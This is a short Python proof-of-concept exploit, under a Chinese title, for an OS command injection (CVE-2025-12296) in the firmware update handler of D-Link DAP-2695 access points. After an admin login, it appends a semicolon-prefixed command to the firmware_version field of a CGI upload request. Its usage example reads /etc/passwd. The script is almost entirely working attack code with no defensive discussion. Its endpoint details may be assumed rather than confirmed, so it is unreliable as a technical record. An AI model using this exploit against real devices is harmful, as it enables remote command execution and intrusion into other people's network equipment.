CVE-2025-12296 D-Link DAP-2695 固件更新处理器OS命令注入漏洞

# CVE-2025-12296 D-Link DAP-2695 OS Command Injection PoC # Target: D-Link DAP-2695 Firmware 2.00RC13 # Component: Firmware Update Handler (sub_4174B0) # Note: Requires high privilege authentication import requests import sys from urllib.parse import quote def exploit_cve_2025_12296(target_ip, username, password, cmd): """ Exploit OS command injection in D-Link DAP-2695 Firmware Update Handler Args: target_ip: Target device IP address username: Admin username password: Admin password cmd: Command to execute on target """ base_url = f"http://{target_ip}" # Authentication session = requests.Session() auth_data = { "username": username, "password": password } # Login request login_url = f"{base_url}/login.cgi" session.post(login_url, data=auth_data) # Exploit command injection via firmware update handler # The vulnerability is in sub_4174B0 function exploit_payload = f";{cmd}" exploit_data = { "firmware_file": "exploit.bin", "firmware_version": exploit_payload, "action": "upload" } exploit_url = f"{base_url}/cgi-bin/firmware_upload.cgi" try: response = session.post(exploit_url, data=exploit_data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2025_12296.py <target_ip> <username> <password> <command>") print("Example: python cve_2025_12296.py 192.168.0.1 admin admin 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] command = sys.argv[4] print(f"[*] Targeting {target}") print(f"[*] Executing command: {command}") result = exploit_cve_2025_12296(target, user, pwd, command) print(f"[+] Result:\n{result}")